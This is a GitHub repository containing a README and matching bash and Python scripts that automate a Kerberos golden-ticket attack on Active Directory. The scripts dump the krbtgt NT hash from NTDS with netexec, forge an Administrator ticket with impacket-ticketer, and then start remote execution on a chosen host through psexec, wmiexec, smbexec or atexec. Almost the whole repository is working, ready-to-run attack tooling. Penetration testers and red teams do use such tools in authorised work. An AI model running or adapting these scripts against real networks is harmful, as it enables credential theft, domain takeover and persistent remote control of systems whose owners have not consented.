├── LICENSE ├── README.md ├── golden_ticket.sh └── golden_ticket.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 NEED-Programming 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golden-Ticket 2 | Creating them Golden Tickets 3 | - Already Have Domain Admin? 4 | - Want to create a Golden ticket but don't remember all the commands? 5 | - Easy access? 6 | 7 | golden_ticket 8 | 9 | image 10 | 11 | 12 | ## Features 13 | 14 | - Uses Netexec to Gather Domain SID 15 | - Uses Netexec to dump NTDS for user 'krbtgt' 16 | - Creation of a Golden ticket for the user 'Administrator' 17 | - Exports Administrator ticket 18 | - Allows execution of Kali Default Impacket PsExec, WMIExec, SMBExec, and ATExec for Post Exploit ✨Magic ✨ 19 | 20 | ## Installation & Execution 21 | 22 | Install from Github 23 | 24 | ```sh 25 | cd %DIRECTORY_of_your_choosing% 26 | sudo git clone https://github.com/NEED-Programming/Golden-Ticket.git 27 | sudo chmod +x golden_ticket.sh 28 | or 29 | sudo chmod +x golden_ticket.py 30 | ``` 31 | 32 | Execution 33 | ```sh 34 | ./golden_ticket.sh 35 | or 36 | pythom3 golden_ticket.py 37 | Follow the prompts 38 | ### Drops Administrator.ccache in CURRENT folder ### 39 | ``` 40 | 41 | Cleanup 42 | ```sh 43 | sudo rm -r domain_sid.txt && rm -r krbtgt_nt_hash.txt && rm -r Administrator.ccache 44 | or 45 | sudo rm -r Administrator.ccache && rm -r run_impacket.sh 46 | ``` 47 | 48 | ## Video 49 | https://vimeo.com/1106493100 50 | -------------------------------------------------------------------------------- /golden_ticket.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo -e "\e[0;33m 4 | ╔═╗╔═╗╦ ╔╦╗╔═╗╔╗╔ ╔╦╗╦╔═╗╦╔═╔═╗╔╦╗ 5 | ║ ╦║ ║║ ║║║╣ ║║║───║ ║║ ╠╩╗║╣ ║ 6 | ╚═╝╚═╝╩═╝═╩╝╚═╝╝╚╝ ╩ ╩╚═╝╩ ╩╚═╝ ╩ \e[0m" 7 | echo "####################################" 8 | echo "# Golden-Ticket #" 9 | echo "# by: Daniel Krilich #" 10 | echo "# contact: need@bugcrowdninja.com #" 11 | echo "# github.com/need-programming #" 12 | echo "# For Educational Purposes #" 13 | echo "# GoldenTicket + Impacket #" 14 | echo "####################################" 15 | 16 | #!/bin/bash 17 | 18 | read -p "Enter Domain IP: " domain_ip 19 | read -p "Enter Username: " user 20 | read -s -p "Enter Password: " password 21 | echo 22 | 23 | # Get Domain SID 24 | echo "Retrieving Domain SID..." 25 | sid_output=$(nxc ldap "$domain_ip" -u "$user" -p "$password" --get-sid) 26 | echo "$sid_output" 27 | 28 | sid=$(echo "$sid_output" | grep "Domain SID" | awk '{print $NF}') 29 | if [ -n "$sid" ]; then 30 | echo "Extracted Domain SID: $sid" 31 | echo "$sid" > domain_sid.txt 32 | echo "Domain SID saved to domain_sid.txt" 33 | else 34 | echo "Failed to extract Domain SID" 35 | exit 1 36 | fi 37 | 38 | echo 39 | 40 | # Get krbtgt NT hash 41 | echo "Retrieving krbtgt NT hash..." 42 | ntds_output=$(nxc smb "$domain_ip" -u "$user" -p "$password" --ntds --user krbtgt) 43 | echo "$ntds_output" 44 | 45 | nt_hash=$(echo "$ntds_output" | grep "krbtgt:" | grep -oE '[0-9a-f]{32}:[0-9a-f]{32}' | cut -d':' -f2) 46 | if [ -n "$nt_hash" ]; then 47 | echo "Extracted krbtgt NT hash: $nt_hash" 48 | echo "$nt_hash" > krbtgt_nt_hash.txt 49 | echo "krbtgt NT hash saved to krbtgt_nt_hash.txt" 50 | else 51 | echo "Failed to extract krbtgt NT hash" 52 | exit 1 53 | fi 54 | 55 | echo 56 | 57 | # Run impacket-ticketer 58 | read -p "Enter Domain (e.g., domain.local): " domain 59 | if [ -f "krbtgt_nt_hash.txt" ] && [ -f "domain_sid.txt" ]; then 60 | KRBTGT_NTHASH=$(cat krbtgt_nt_hash.txt) 61 | DOMAIN_SID=$(cat domain_sid.txt) 62 | echo "Generating ticket with impacket-ticketer..." 63 | ticketer_output=$(impacket-ticketer -nthash "$KRBTGT_NTHASH" -domain-sid "$DOMAIN_SID" -domain "$domain" Administrator) 64 | echo "$ticketer_output" 65 | if [ $? -eq 0 ]; then 66 | echo "Ticket generated successfully" 67 | else 68 | echo "Failed to generate ticket" 69 | exit 1 70 | fi 71 | else 72 | echo "Required files (krbtgt_nt_hash.txt or domain_sid.txt) not found" 73 | exit 1 74 | fi 75 | 76 | echo 77 | 78 | # List ccache files and set KRB5CCNAME 79 | echo "Listing ccache files..." 80 | ls -al | grep ccache 81 | export KRB5CCNAME=Administrator.ccache 82 | echo "KRB5CCNAME set to $KRB5CCNAME" 83 | 84 | echo 85 | 86 | # Prompt for Target IP and Device Name 87 | read -p "Enter Target IP: " target_ip 88 | read -p "Enter Device Name: " device 89 | 90 | # Choose execution method 91 | echo "Choose the execution method:" 92 | echo "1) Psexec" 93 | echo "2) Wmiexec" 94 | echo "3) Smbexec" 95 | echo "4) Atexec" 96 | read -p "Enter your choice (1-4): " choice 97 | 98 | case $choice in 99 | 1) 100 | script_name="psexec.py" 101 | echo "Running $script_name..." 102 | python3 /usr/share/doc/python3-impacket/examples/$script_name -dc-ip "$domain_ip" -target-ip "$target_ip" -no-pass -k "$domain/Administrator@$device.$domain" 103 | ;; 104 | 2) 105 | script_name="wmiexec.py" 106 | echo "Running $script_name..." 107 | python3 /usr/share/doc/python3-impacket/examples/$script_name -dc-ip "$domain_ip" -target-ip "$target_ip" -no-pass -k "$domain/Administrator@$device.$domain" 108 | ;; 109 | 3) 110 | echo "Running impacket-smbexec..." 111 | impacket-smbexec -k -no-pass -dc-ip "$domain_ip" "$device.$domain" 112 | ;; 113 | 4) 114 | read -p "Enter Command (e.g., whoami): " command 115 | echo "Running impacket-atexec..." 116 | impacket-atexec -k -no-pass -dc-ip "$domain_ip" "$device.$domain" "$command" 117 | ;; 118 | *) echo "Invalid choice"; exit 1 ;; 119 | esac 120 | -------------------------------------------------------------------------------- /golden_ticket.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import argparse 3 | from colorama import init, Fore, Style 4 | import textwrap 5 | 6 | # Initialize colorama for colored output 7 | init(autoreset=True) 8 | 9 | # Define ASCII art with yellow coloring, preserving alignment 10 | ASCII_ART = f"""\ 11 | {Fore.YELLOW} 12 | ╔═╗╔═╗╦ ╔╦╗╔═╗╔╗╔ ╔╦╗╦╔═╗╦╔═╔═╗╔╦╗ 13 | ║ ╦║ ║║ ║║║╣ ║║║───║ ║║ ╠╩╗║╣ ║ 14 | ╚═╝╚═╝╩══╩╝╚═╝╝╚╝ ╩ ╩╚═╝╩ ╩╚═╝ ╩ 15 | {Style.RESET_ALL} 16 | """ 17 | 18 | # Define helper functions for graphical output 19 | def print_header(title): 20 | print(f"{Fore.CYAN}{Style.BRIGHT}{'=' * 50}") 21 | print(f"{Fore.CYAN}{Style.BRIGHT}|| {title.center(46)} ||") 22 | print(f"{Fore.CYAN}{Style.BRIGHT}{'=' * 50}") 23 | 24 | def print_success(message): 25 | print(f"{Fore.GREEN}{Style.BRIGHT}[+] {message}") 26 | 27 | def print_error(message): 28 | print(f"{Fore.RED}{Style.BRIGHT}[-] {message}") 29 | 30 | def print_info(message): 31 | print(f"{Fore.YELLOW}{Style.BRIGHT}[*] {message}") 32 | 33 | def print_prompt(message): 34 | return input(f"{Fore.MAGENTA}{Style.BRIGHT}[?] {message}: ") 35 | 36 | # Print ASCII art at the start 37 | print(ASCII_ART) 38 | 39 | # Set up argument parser 40 | parser = argparse.ArgumentParser( 41 | description="Extract Domain SID, krbtgt NT hash, generate Kerberos ticket, and create an Impacket shell script", 42 | formatter_class=argparse.RawTextHelpFormatter 43 | ) 44 | parser.add_argument("--ip", required=True, help="Target domain IP address (dc-ip)") 45 | parser.add_argument("--user", required=True, help="Username for authentication") 46 | parser.add_argument("--password", required=True, help="Password for authentication") 47 | parser.add_argument("--domain", required=True, help="Domain name (e.g., domain.local)") 48 | 49 | # Parse arguments 50 | args = parser.parse_args() 51 | 52 | # Define the LDAP command to get SID 53 | ldap_command = [ 54 | 'nxc', 55 | 'ldap', 56 | args.ip, 57 | '-u', 58 | args.user, 59 | '-p', 60 | args.password, 61 | '--get-sid' 62 | ] 63 | 64 | # Define the SMB command to get NT hash 65 | smb_command = [ 66 | 'nxc', 67 | 'smb', 68 | args.ip, 69 | '-u', 70 | args.user, 71 | '-p', 72 | args.password, 73 | '--ntds', 74 | '--user', 75 | 'krbtgt' 76 | ] 77 | 78 | try: 79 | # Run the LDAP command 80 | print_header("LDAP SID Retrieval") 81 | print_info("Executing LDAP command to retrieve Domain SID...") 82 | ldap_result = subprocess.run(ldap_command, capture_output=True, text=True, check=True) 83 | ldap_output = ldap_result.stdout 84 | 85 | # Initialize variable to store SID 86 | domain_sid = None 87 | 88 | # Parse the LDAP output to find the Domain SID 89 | for line in ldap_output.splitlines(): 90 | line = line.strip() 91 | if 'Domain SID S-1-5-21-' in line: 92 | # Split the line into tokens 93 | tokens = line.split() 94 | # The SID is the token after 'SID' 95 | if 'Domain' in tokens: 96 | sid_index = tokens.index('SID') + 1 97 | if sid_index < len(tokens): 98 | domain_sid = tokens[sid_index] 99 | 100 | # Display and store Domain SID 101 | if domain_sid: 102 | print_success(f"Domain SID: {domain_sid}") 103 | else: 104 | print_error("Domain SID not found in the output.") 105 | exit(1) 106 | 107 | # Run the SMB command to get NT hash for user krbtgt 108 | print_header("SMB NT Hash Retrieval") 109 | print_info("Executing SMB command to retrieve NT hash for krbtgt...") 110 | smb_result = subprocess.run(smb_command, capture_output=True, text=True, check=True) 111 | smb_output = smb_result.stdout 112 | 113 | # Parse the SMB output to find the NT hash for krbtgt 114 | krbtgt_nthash = None 115 | for line in smb_output.splitlines(): 116 | if 'krbtgt' in line and line.count(':') >= 3: 117 | parts = line.split(':') 118 | if len(parts) >= 4: 119 | krbtgt_nthash = parts[3].strip() 120 | break 121 | 122 | if krbtgt_nthash: 123 | print_success(f"NT Hash for krbtgt: {krbtgt_nthash}") 124 | else: 125 | print_error("NT Hash not found in the output.") 126 | exit(1) 127 | 128 | # Define the impacket-ticketer command to generate Kerberos ticket for Administrator 129 | ticketer_command = [ 130 | 'impacket-ticketer', 131 | '-nthash', 132 | krbtgt_nthash, 133 | '-domain-sid', 134 | domain_sid, 135 | '-domain', 136 | args.domain, 137 | 'Administrator' 138 | ] 139 | 140 | # Run the impacket-ticketer command 141 | print_header("Kerberos Ticket Generation") 142 | print_info("Executing impacket-ticketer to generate Kerberos ticket for Administrator...") 143 | ticketer_result = subprocess.run(ticketer_command, capture_output=True, text=True, check=True) 144 | ticketer_output = ticketer_result.stdout 145 | print_success("Kerberos ticket generation output:") 146 | print(f"{Fore.WHITE}{textwrap.indent(ticketer_output, ' ')}") 147 | 148 | # Run ls -al | grep ccache to confirm ticket file 149 | print_header("Ticket File Verification") 150 | print_info("Checking for ccache file...") 151 | ls_command = "ls -al | grep ccache" 152 | ls_result = subprocess.run(ls_command, shell=True, capture_output=True, text=True) 153 | ls_output = ls_result.stdout 154 | if ls_output.strip(): 155 | print_success("ccache file found:") 156 | print(f"{Fore.WHITE}{textwrap.indent(ls_output, ' ')}") 157 | else: 158 | print_error("No ccache file found in the output.") 159 | 160 | # Prompt user to decide whether to utilize an Impacket tool 161 | print_header("Impacket Tool Selection") 162 | while True: 163 | use_impacket = print_prompt("Do you want to utilize Impacket? [Yes/No]").lower() 164 | if use_impacket in ['yes', 'no']: 165 | break 166 | print_error("Invalid choice. Please enter 'Yes' or 'No'.") 167 | 168 | if use_impacket == 'no': 169 | print_success("You chose No, exiting the script.") 170 | exit(0) 171 | 172 | print_success("You chose Yes.") 173 | 174 | # Prompt for device name and target IP 175 | device = print_prompt("What is the Device").strip() 176 | if not device: 177 | print_error("Device name is required") 178 | exit(1) 179 | 180 | target_ip = print_prompt("What is the Target IP").strip() 181 | if not target_ip: 182 | print_error("Target IP is required") 183 | exit(1) 184 | 185 | # Prompt user to select an Impacket tool 186 | print_info("Available Impacket tools: psexec, wmiexec, smbexec, atexec") 187 | while True: 188 | impacket_tool = print_prompt("Enter the Impacket tool to execute (psexec/wmiexec/smbexec/atexec)").lower() 189 | if impacket_tool in ['psexec', 'wmiexec', 'smbexec', 'atexec']: 190 | break 191 | print_error("Invalid choice. Please choose one of: psexec, wmiexec, smbexec, atexec") 192 | 193 | # Prompt for command if atexec is selected 194 | command = None 195 | if impacket_tool == 'atexec': 196 | command = print_prompt("Enter the command to execute with atexec").strip() 197 | if not command: 198 | print_error("A command is required for atexec") 199 | exit(1) 200 | 201 | # Generate the Impacket command as a string 202 | full_domain = f"{args.domain}/Administrator@{device}.{args.domain}" 203 | if impacket_tool == 'psexec': 204 | impacket_command = f"impacket-psexec -dc-ip {args.ip} -target-ip {target_ip} -no-pass -k {full_domain}" 205 | elif impacket_tool == 'wmiexec': 206 | impacket_command = f"impacket-wmiexec -dc-ip {args.ip} -target-ip {target_ip} -no-pass -k {full_domain}" 207 | elif impacket_tool == 'smbexec': 208 | impacket_command = f"impacket-smbexec -k -no-pass -dc-ip {args.ip} {device}.{args.domain}" 209 | elif impacket_tool == 'atexec': 210 | impacket_command = f"impacket-atexec -k -no-pass -dc-ip {args.ip} {device}.{args.domain} \"{command}\"" 211 | 212 | # Write the export and Impacket command to a shell script 213 | shell_script = "run_impacket.sh" 214 | with open(shell_script, 'w') as f: 215 | f.write("#!/bin/bash\n") 216 | f.write("export KRB5CCNAME=Administrator.ccache\n") 217 | f.write(f"{impacket_command}\n") 218 | 219 | # Make the shell script executable 220 | subprocess.run(f"chmod +x {shell_script}", shell=True, check=True) 221 | 222 | # Print the generated shell script content 223 | print_header("Generated Shell Script") 224 | print_success(f"Generated shell script ({shell_script}):") 225 | with open(shell_script, 'r') as f: 226 | print(f"{Fore.WHITE}{textwrap.indent(f.read(), ' ')}") 227 | print_success(f"Please run the shell script manually to execute the Impacket command: ./{shell_script}") 228 | print_success("Exiting Python script.") 229 | 230 | except subprocess.CalledProcessError as e: 231 | print_error(f"Error executing command: {e}") 232 | print(f"{Fore.RED}Stderr:\n{textwrap.indent(e.stderr, ' ')}") 233 | except Exception as e: 234 | print_error(f"An unexpected error occurred: {e}") 235 | --------------------------------------------------------------------------------